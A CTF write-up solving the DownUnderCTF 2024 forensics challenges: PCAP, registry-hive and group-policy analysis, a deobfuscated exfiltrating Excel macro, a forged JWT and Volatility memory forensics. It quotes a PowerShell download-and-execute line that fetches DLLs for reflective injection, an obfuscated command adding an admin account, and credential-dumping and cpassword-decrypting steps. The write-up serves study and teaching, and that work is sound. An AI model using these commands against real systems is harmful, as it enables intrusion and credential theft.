DownUnderCTF 2024 - Writeups
This is a writeup for all forensics challenges from DownUnderCTF 2024. Overall, an extremely enjoyable CTF with great challenges and a mesmerizing theme using cute imagery. This was also my first time playing at a local bar with my friends to solve challenges together and have fun.
Baby’s First Forensics [Forensics]
Question: They’ve been trying to breach our infrastructure all morning! They’re trying to get more info on our covert kangaroos! We need your help, we’ve captured some traffic of them attacking us, can you tell us what tool they were using and its version?
Flag: DUCTF{Nikto_2.1.6}
We are given a PCAP file to investigate. Analyzing the TCP stream, the scanning tool can be easily identified on the User-Agent
header.
SAM I AM [Forensics]
Question: The attacker managed to gain Domain Admin on our rebels Domain Controller! Looks like they managed to log on with an account using WMI and dumped some files. Can you reproduce how they got the Administrator’s Password with the artifacts provided?
Flag: DUCTF{!checkerboard1}
We are given a SAM and SYSTEM registry hive to investigate. Reading the description, we have to reproduce the method of obtaining the Administrator’s password with the registry hives. One easy way to do this is by using secretsdump.py
from Impacket, as it utilizing both SAM and SYSTEM registry hives.
1
2
3
4
5
6
7
8
└─$ impacket-secretsdump -sam sam.bak -system system.bak LOCAL
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Target system bootKey: 0xa88f47504785ba029e8fa532c4c9e27b
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:476b4dddbbffde29e739b618580adb1e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up...
Bad Policies [Forensics]
Question: Looks like the attacker managed to access the rebels Domain Controller. Can you figure out how they got access after pulling these artifacts from one of our Outpost machines?
Flag: DUCTF{D0n7_Us3_P4s5w0rds_1n_Gr0up_P0l1cy}
We are given an archive containing several GPOs to investigate.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
└─$ tree rebels.ductf
rebels.ductf
├── DfsrPrivate
├── Policies
│ ├── {31B2F340-016D-11D2-945F-00C04FB984F9}
│ │ ├── GPT.INI
│ │ ├── MACHINE
│ │ │ ├── Applications
│ │ │ ├── Microsoft
│ │ │ │ └── Windows NT
│ │ │ │ └── SecEdit
│ │ │ │ └── GptTmpl.inf
│ │ │ ├── Registry.pol
│ │ │ ├── Scripts
│ │ │ │ ├── Shutdown
│ │ │ │ └── Startup
│ │ │ └── comment.cmtx
│ │ └── USER
│ ├── {3EF191ED-9090-44C9-B436-C2766F6F0156}
│ │ ├── GPT.INI
│ │ ├── Machine
│ │ │ ├── Registry.pol
│ │ │ └── comment.cmtx
│ │ └── User
│ ├── {6AC1786C-016F-11D2-945F-00C04fB984F9}
│ │ ├── GPT.INI
│ │ ├── MACHINE
│ │ │ └── Microsoft
│ │ │ └── Windows NT
│ │ │ └── SecEdit
│ │ │ └── GptTmpl.inf
│ │ └── USER
│ ├── {B6EF39A3-E84F-4C1D-A032-00F042BE99B5}
│ │ ├── GPT.INI
│ │ ├── Machine
│ │ │ └── Preferences
│ │ │ └── Groups
│ │ │ └── Groups.xml
│ │ └── User
│ └── {EFF21FC3-F476-4AE0-9DDC-07BE32C98CE4}
│ ├── GPT.INI
│ ├── Machine
│ │ ├── Microsoft
│ │ │ └── Windows NT
│ │ │ └── SecEdit
│ │ │ └── GptTmpl.inf
│ │ └── Scripts
│ │ ├── Shutdown
│ │ └── Startup
│ └── User
│ ├── Documents & Settings
│ └── Scripts
│ ├── Logoff
│ └── Logon
└── scripts
41 directories, 13 files
Since the challenge was something related to “bad policies”, we can look into the Groups.xml
file buried in the archive for the encrypted password stored within the file (specifically the cpassword
field).
1
2
3
4
└─$ cat ./rebels.ductf/Policies/\{B6EF39A3-E84F-4C1D-A032-00F042BE99B5\}/Machine/Preferences/Groups/Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Backup" image="2" changed="2024-06-12 14:26:50" uid="{CE475804-94EA-4C12-8B2E-2B3FFF1A05C4}"><Properties action="U" newName="" fullName="" description="" cpassword="B+iL/dnbBHSlVf66R8HOuAiGHAtFOVLZwXu0FYf+jQ6553UUgGNwSZucgdz98klzBuFqKtTpO1bRZIsrF8b4Hu5n6KccA7SBWlbLBWnLXAkPquHFwdC70HXBcRlz38q2" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="Backup"/></User>
</Groups>
The encrypted password is encrypted with AES using a 32-bit key that is publicly available online. Hence, this password can be easily cracked using tools such as gpp-decrypt.
1
2
└─$ gpp-decrypt "B+iL/dnbBHSlVf66R8HOuAiGHAtFOVLZwXu0FYf+jQ6553UUgGNwSZucgdz98klzBuFqKtTpO1bRZIsrF8b4Hu5n6KccA7SBWlbLBWnLXAkPquHFwdC70HXBcRlz38q2"
DUCTF{D0n7_Us3_P4s5w0rds_1n_Gr0up_P0l1cy}
Macro Magic [Forensics]
Question: We managed to pull this excel spreadsheet artifact from one of our Outpost machines. Its got something sus happening under the hood. After opening we found and captured some suspicious traffic on our network. Can you find out what this traffic is and find the flag! Note: You do not need to run or enable the macro so solve.
Flag: DUCTF{M4d3_W1th_AI_by_M0nk3ys}
We are given a PCAP and XLSM file to investigate. Analyzing the PCAP first, there seems to be several HTTP requests made to random URLs. However, some of them seem to be hex values or some sorts.
Analyzing the XLSM file, a macro can be obtained.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ python .\oledump.py C:\Users\warlocksmurf\DUCTF2024\macromagic\Monke.xlsm
C:\Users\warlocksmurf\Desktop\Tools\oledump.py:187: SyntaxWarning: invalid escape sequence '\D'
manual = '''
A: xl/vbaProject.bin
A1: 515 'PROJECT'
A2: 107 'PROJECTwm'
A3: M 24526 'VBA/Module1'
A4: m 1158 'VBA/Sheet1'
A5: m 985 'VBA/Sheet2'
A6: m 1158 'VBA/ThisWorkbook'
A7: 4438 'VBA/_VBA_PROJECT'
A8: 3276 'VBA/__SRP_0'
A9: 239 'VBA/__SRP_1'
A10: 434 'VBA/__SRP_2'
A11: 3988 'VBA/__SRP_3'
A12: 384 'VBA/__SRP_4'
A13: 66 'VBA/__SRP_5'
A14: 276 'VBA/__SRP_6'
A15: 66 'VBA/__SRP_7'
A16: 602 'VBA/dir'
Dumping the macro, there seems to be several functions and variables initialized within it with bogus text between them. Removing the bogus text, we get this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
Attribute VB_Name = "Module1"
Public Function anotherThing(B As String, C As String) As String
Dim I As Long
Dim A As String
For I = 1 To Len(B)
A = A & Chr(Asc(Mid(B, I, 1)) Xor Asc(Mid(C, (I - 1) Mod Len(C) + 1, 1)))
Next I
anotherThing = A
End Function
Public Function importantThing()
Dim tempString As String
Dim tempInteger As Integer
Dim I As Integer
Dim J As Integer
For I = 1 To 5
Cells(I, 2).Value = WorksheetFunction.RandBetween(0, 1000)
Next I
For I = 1 To 5
For J = I + 1 To 5
If Cells(J, 2).Value < Cells(I, 2).Value Then
tempString = Cells(I, 1).Value
Cells(I, 1).Value = Cells(J, 1).Value
Cells(J, 1).Value = tempString
tempInteger = Cells(I, 2).Value
Cells(I, 2).Value = Cells(J, 2).Value
Cells(J, 2).Value = tempInteger
End If
Next J
Next I
End Function
Public Function totalyFine(A As String) As String
Dim B As String
B = Replace(A, " ", "-")
totalyFine = B
End Function
Sub macro1()
Dim Path As String
Dim wb As Workbook
Dim A As String
Dim B As String
Dim C As String
Dim D As String
Dim E As String
Dim F As String
Dim G As String
Dim H As String
Dim J As String
Dim K As String
Dim L As String
Dim M As String
Dim N As String
Dim O As String
Dim P As String
Dim Q As String
Dim R As String
Dim S As String
Dim T As String
Dim U As String
Dim V As String
Dim W As String
Dim X As String
Dim Y As String
Dim Z As String
Dim I As Long
N = importantThing()
K = "Yes"
S = "Mon"
U = forensics(K)
V = totalyFine(U)
D = "Ma"
J = "https://play.duc.tf/" + V
superThing (J)
J = "http://flag.com/"
superThing (J)
G = "key"
J = "http://play.duc.tf/"
superThing (J)
J = "http://en.wikipedia.org/wiki/Emu_War"
superThing (J)
N = importantThing()
Path = ThisWorkbook.Path & "\flag.xlsx"
Set wb = Workbooks.Open(Path)
Dim valueA1 As Variant
valueA1 = wb.Sheets(1).Range("A1").Value
MsgBox valueA1
wb.Close SaveChanges:=False
F = "gic"
N = importantThing()
Q = "Flag: " & valueA1
H = "Try Harder"
U = forensics(H)
V = totalyFine(U)
J = "http://downunderctf.com/" + V
superThing (J)
W = S + G + D + F
O = doThing(Q, W)
M = anotherThing(O, W)
A = something(O)
Z = forensics(O)
N = importantThing()
P = "Pterodactyl"
U = forensics(P)
V = totalyFine(U)
J = "http://play.duc.tf/" + V
superThing (J)
T = totalyFine(Z)
MsgBox T
J = "http://downunderctf.com/" + T
superThing (J)
N = importantThing()
E = "Forensics"
U = forensics(E)
V = totalyFine(U)
J = "http://play.duc.tf/" + V
superThing (J)
End Sub
Public Function doThing(B As String, C As String) As String
Dim I As Long
Dim A As String
For I = 1 To Len(B)
A = A & Chr(Asc(Mid(B, I, 1)) Xor Asc(Mid(C, (I - 1) Mod Len(C) + 1, 1)))
Next I
doThing = A
End Function
Public Function superThing(ByVal A As String) As String
With CreateObject("MSXML2.ServerXMLHTTP.6.0")
.Open "GET", A, False
.Send
superThing = StrConv(.responseBody, vbUnicode)
End With
End Function
Public Function something(B As String) As String
Dim I As Long
Dim A As String
For I = 1 To Len(inputText)
A = A & WorksheetFunction.Dec2Bin(Asc(Mid(B, I, 1)))
Next I
something = A
End Function
Public Function forensics(B As String) As String
Dim A() As Byte
Dim I As Integer
Dim C As String
A = StrConv(B, vbFromUnicode)
For I = LBound(A) To UBound(A)
C = C & CStr(A(I)) & " "
Next I
C = Trim(C)
forensics = C
End Function
The macro may seem complex at first, but it is actually very easy to understand. The explanations for each functions:
- anotherThing() - This function basically just performs XOR on two strings.
- importantThing() - This function generates random numbers and sorts them.
- totalyFine() - This function modifies a string by replacing spaces with hyphens.
- superThing() - This function sends a GET request and returns the response.
- something() - This function converts each character of a string to its binary representation.
- forensics() - This function converts a string to its byte representation with spaces.
Just by looking at the functions, it was obvious that the macro was probably XORing a byte/binary string with a key string. To simplify the macro even further, my teammate @MinatoTW rewrote the macro into Python instead while removing the useless functions and variables.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
def doThing(b: str, c: str) -> str:
a = ""
for i in range(len(b)):
a += chr(ord(b[i]) ^ ord(c[i % len(c)]))
return a
def forensics(b: str) -> str:
a = b.encode("utf-8")
c = " ".join(str(byte) for byte in a)
return c
def totalyFine(b: str):
return b.replace(" ", "-")
def something(b: str) -> str:
a = ""
for char in b:
a += format(ord(char), "08b")
return a
def anotherThing(b: str, c: str) -> str:
a = ""
for i in range(len(b)):
a += chr(ord(b[i]) ^ ord(c[i % len(c)]))
return a
K = "Yes"
S = "Mon"
U = forensics(K)
V = totalyFine(U)
D = "Ma"
J = "https://play.duc.tf/" + V
print(J)
G = "key"
F = "gic"
# N = importantThing()
Q = "Flag: No"
H = "Try Harder"
U = forensics(H)
V = totalyFine(U)
J = "http://downunderctf.com/" + V
print(J)
W = S + G + D + F
O = doThing(Q, W)
M = anotherThing(O, W)
A = something(O)
Z = forensics(O)
P = "Pterodactyl"
U = forensics(P)
V = totalyFine(U)
J = "http://play.duc.tf/" + V
print(J)
T = totalyFine(Z)
J = "http://downunderctf.com/" + T
print(J)
Looking at the code, we can identify variable W to be the XOR key MonkeyMagic
. We can also see the macro taking the converted byte strings as URLs for the GET requests. Since we have the XOR key now, a simple script can decode each URL identified in the PCAP previously, with the longest one being the flag.
1
2
3
4
5
6
7
8
9
10
11
12
def decode(encoded, key):
decoded = ""
key_len = len(key)
for i in range(len(encoded)):
decoded += chr(encoded[i] ^ ord(key[(i) % key_len]))
return decoded
flag = [11, 3, 15, 12, 95, 89, 9, 52, 36, 61, 37, 54, 34, 90, 15, 86, 38, 26, 80, 19, 1, 60, 12, 38, 49, 9, 28, 38, 0, 81, 9, 2, 80, 52, 28, 19]
key = "MonkeyMagic"
decoded_message = decode(flag, key)
print(decoded_message)
emuc2 [Forensics]
Question: As all good nation states, we have our own malware and C2 for offensive operations. But someone has got the source code and is using it against us! Here’s a capture of traffic we found on one of our laptops…
Flag: DUCTF{pǝʇɔǝɟuᴉ_sᴉ_ǝlᴉɟ_dᴉz_ǝɥʇ_oʇ_pɹoʍssɐd_ǝɥʇ}
We are given a PCAP and a SSLKEYLOGFILE to investigate. Inside the PCAP were several TLS packets, so we have to use the SSLKEYLOGFILE to decrypt them.
Decrypting the TLS packets shows several HTTP2 packets. Analyzing the stream, we can see a login page on forensics-emuc2-b6abd8652aa4.2024.ductf.dev
which can be accessed online. However, we have no permission to access the flag page even with the right credentials. Looking at the TCP stream, we can see a JWT token being generated. Hence, the only way to bypass this permission check was to forge our own JWT token.
Going further into the HTTP2 stream, stream 23 shows a URL path /api/env
which stores uploaded files in the website.
Going through the files one by one, the file T4yLN35GKLhxTgaykWxdgROCAwIBE3FO
had a JWT_SECRET stored statically in it.
With the secret, we can finally forge our own JWT token to bypass the permission check.
1
2
3
4
5
6
7
import jwt
data = {"subject_id": 1, "exp": 1920187883}
JWT_SECRET = "3gHsCBkpZLi99zyiPqfY/NfFJqZzmNL4BAhYN8rAjRn49baTcnmyGISLD6T58XcWIUYrBfltI2iq2N6OHQSrfqBRFxFta61PvmnfRyn8Ep8T55lvLT8Es62kN3x35Bcb0OZmOGmM/zKf2qadcBq3Nbq1MiIVKJMz4w3JOk4orwFPtSNpNh8uaSQQUNMKTT6cvD9bvRvFNeeHYSPhDFwayPIRr5TJ+BpIRTUTfc1C3WCKoOuXCz2t+ISZo5yYwZ6U5w7NKFTTuDqMP/dXevkVykuntdej55XE3fsCP+UVFUT2JrY+Z9Q1aKTgavQR5smYVn93RlpbFwCoSStoANnoi"
encoded = jwt.encode(data, JWT_SECRET, algorithm="HS512")
print(encoded)
1
2
└─$ python script.py
eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJzdWJqZWN0X2lkIjoxLCJleHAiOjE5MjAxODc4ODN9.6_Al8k0dDcd86Mza6fuhaTfu08RHZQ4QtDspXJCpnYYI_9cWWGIGUMnXD7zqQBTQaV1F8WxAYZhx5KG16yCVhA
Replacing the JWT token, the permission check was succesfully bypassed and the flag can be obtained.
Lost in Memory [Forensics]
Question: Looks like one of our Emu soldiers ran something on an Outpost machine and now it’s doing strange things. We took a memory dump as a precaution. Can you tell us whats going on?
- What was the name of the malicious executable? eg malicious.xlsm
- What was the name of the powershell module used? eg invoke-mimikatz
- What were the names of the two files executed from the malicious executable (In alphabetical order with - in between and no spaces)? eg malware.exe-malware2.exe
- What was the password of the new account created through powershell? eg strong-password123
Flag: DUCTF{monkey.doc.ps1_invoke-reflectivepeinjection_emu.dll-kiwi.dll_5up3r-5ecur3}
We are given a memory dump to investigate. Analyzing the process tree, the notepad stands out the most as it should not be executing hidden powershell commands.
1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ python3 vol.py -f ~/Desktop/shared/DUCTF2024/EMU-OUTPOST/EMU-OUTPOST.raw windows.pstree
Volatility 3 Framework 2.7.1
Progress: 100.00 PDB scanning finished
PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime Audit Cmd Path
---SNIP---
* 4044 3176 notepad.exe 0x8439a030 3 78 1 False 2024-06-18 10:00:15.000000 N/A \Device\HarddiskVolume1\Windows\System32\notepad.exe "C:\Windows\system32\NOTEPAD.EXE" C:\Users\emu\Desktop\Monke\Monke.xlsm C:\Windows\system32\NOTEPAD.EXE
* 1136 3176 powershell.exe 0x8449c528 17 432 1 False 2024-06-18 10:01:08.000000 N/A \Device\HarddiskVolume1\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe
** 2520 1136 powershell.exe 0x8452f600 11 306 1 False 2024-06-18 10:01:35.000000 N/A \Device\HarddiskVolume1\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
** 3268 1136 powershell.exe 0x85e1f788 11 309 1 False 2024-06-18 10:01:34.000000 N/A \Device\HarddiskVolume1\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
* 3284 3176 vmtoolsd.exe 0x85aa4d20 9 189 1 False 2024-06-18 09:59:52.000000 N/A \Device\HarddiskVolume1\Program Files\VMware\VMware Tools\vmtoolsd.exe "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
3048 4068 notepad.exe 0x8453e030 5 78 1 False 2024-06-18 10:01:20.000000 N/A \Device\HarddiskVolume1\Windows\System32\notepad.exe "C:\Windows\System32\notepad.exe" "C:\Users\emu\Downloads\monkey.doc.ps1" C:\Windows\System32\notepad.exe
Checking the cmdline, we can identify two suspicious files being executed by notepad: Monke.xlsm
and monkey.doc.ps1
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└─$ python3 vol.py -f ~/Desktop/shared/DUCTF2024/EMU-OUTPOST/EMU-OUTPOST.raw windows.cmdline
Volatility 3 Framework 2.7.1
Progress: 100.00 PDB scanning finished
PID Process Args
---SNIP---
4044 notepad.exe "C:\Windows\system32\NOTEPAD.EXE" C:\Users\emu\Desktop\Monke\Monke.xlsm
2052 svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
372 iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3620 CREDAT:857350 /prefetch:2
1136 powershell.exe "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe"
2560 conhost.exe \??\C:\Windows\system32\conhost.exe "158028775362525928-990426691-456752985-958521227-13089283931015300999189980646
1248 WmiApSrv.exe C:\Windows\system32\wbem\WmiApSrv.exe
3048 notepad.exe "C:\Windows\System32\notepad.exe" "C:\Users\emu\Downloads\monkey.doc.ps1"
3268 powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
2944 conhost.exe \??\C:\Windows\system32\conhost.exe "1789489410-51719259775076617-1207472118-1649521804-404101244-362719145-758039027
2520 powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
2552 conhost.exe \??\C:\Windows\system32\conhost.exe "1344791619-1361883018-12111257381643950101725301424-9951069711014918624-1836326700
2720 DumpIt.exe "C:\Users\emu\Desktop\DumpIt.exe"
3996 conhost.exe \??\C:\Windows\system32\conhost.exe "1830888485-802060661-11601734412110507355-1376939537-182472773412174042161677647333
However, only monkey.doc.ps1
could be succesfully dumped. The content of monkey.doc.ps1
shows a suspicious powershell command that downloads and executes two malicious executables emu.dll
and kiwi.dll
with powershell module Invoke-ReflectivePEInjection
. This suggests that the whole attack scenario was related to reflective DLL injection.
1
Start-Job -ScriptBlock {iex (New-Object net.webclient).Downloadstring('http://192.168.57.166/reflective/reflect.ps1'); Invoke-ReflectivePEInjection -PEUrl http://192.168.57.166/documents/emu.dll};Start-Job -ScriptBlock {iex (New-Object net.webclient).Downloadstring('http://192.168.57.166/reflective/reflect.ps1'); Invoke-ReflectivePEInjection -PEUrl http://192.168.57.166/documents/kiwi.dll}
To double confirm that monkey.doc.ps1
was the malicious executable responsible for all this, we can use the consoles plugin from vol2 as it provides a more verbose view on each commands.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
└─$ python2 vol.py -f ~/Desktop/shared/DUCTF2024/EMU-OUTPOST/EMU-OUTPOST.raw --profile=Win7SP1x86_23418 consoles
Volatility Foundation Volatility Framework 2.6.1
--- SNIP ---
**************************************************
ConsoleProcess: conhost.exe Pid: 2560
Console: 0x7881c0 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: Windows PowerShell
Title: Administrator: Windows PowerShell
AttachedProcess: powershell.exe Pid: 1136 Handle: 0x58
----
CommandHistory: 0x306550 Application: powershell.exe Flags: Allocated, Reset
CommandCount: 3 LastAdded: 2 LastDisplayed: 2
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x58
Cmd #0 at 0x2e2c38: cd C:\Users\emu\Downloads
Cmd #1 at 0x2e2358: .\monkey.doc.ps1
Cmd #2 at 0x304588: r
----
Screen 0x2e68f0 X:120 Y:3000
Dump:
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> cd C:\Users\emu\Downloads
PS C:\Users\emu\Downloads> .\monkey.doc.ps1
Security Warning
Run only scripts that you trust. While scripts from the Internet can be useful, this script can potentially harm your
computer. Do you want to run C:\Users\emu\Downloads\monkey.doc.ps1?
[D] Do not run [R] Run once [S] Suspend [?] Help (default is "D"): r
Id Name State HasMoreData Location Command
-- ---- ----- ----------- -------- -------
1 Job1 Running True localhost iex (New-Object net.we...
3 Job3 Running True localhost iex (New-Object net.we...
PS C:\Users\emu\Downloads>
--- SNIP ---
The output shows monkey.doc.ps1
being executed directly via powershell, thus proving that the malicious executable was indeed the culprit. Attempting to gather more information on the attack, the notepad process can also be dumped and analyzed to potentially find other powershell commands that might be injected within it. Here, an obfuscated powershell command can be identified.
1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ strings pid.4044.dmp | grep "powershell"
powershell.exe
powershell/
powershell.exe
powershell.exe
powershell.exe
powershell/
ly loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
ly loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
powershell $PKjAU= ") )'dd'+'a/ n'+'i'+'mda'+' sro'+'t'+'artsinimda'+' p'+'uorglacol'+' te'+'n;d'+'d'+'a/ 3r'+'uce5-r3'+'pu'+'5'+' nimda resu '+'te'+'n'(( )'x'+]31[dIlLehs$+]1[diLLehs$ (."; .( $Env:CoMsPeC[4,24,25]-JOIn'')(-join ( gi vaRiaBlE:pKjAU).valUe[-1 .. - ( ( gi vaRiaBlE:pKjAU).valUe.leNgth) ] )
Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
--- SNIP ---
Deobfuscating it, the new user’s password can be obtained as 5up3r-5ecur3
.
Attack Chain
One of the authors mentioned that every forensics challenge was related to a full attack chain:
Monke.xlsm was the malware from ‘Macro Magic’ which exfiltrated data, monkey.doc.ps1 from ‘Lost in Memory’ was the initial compromise of the machine. The attacker then got a reverse shell and dumped the group policy. The group policy gave them the backup account password which allowed them to WMI onto the DC and extract the SAM and SYSTEM hives. Hence, they obtained the administrator via cracking the hash.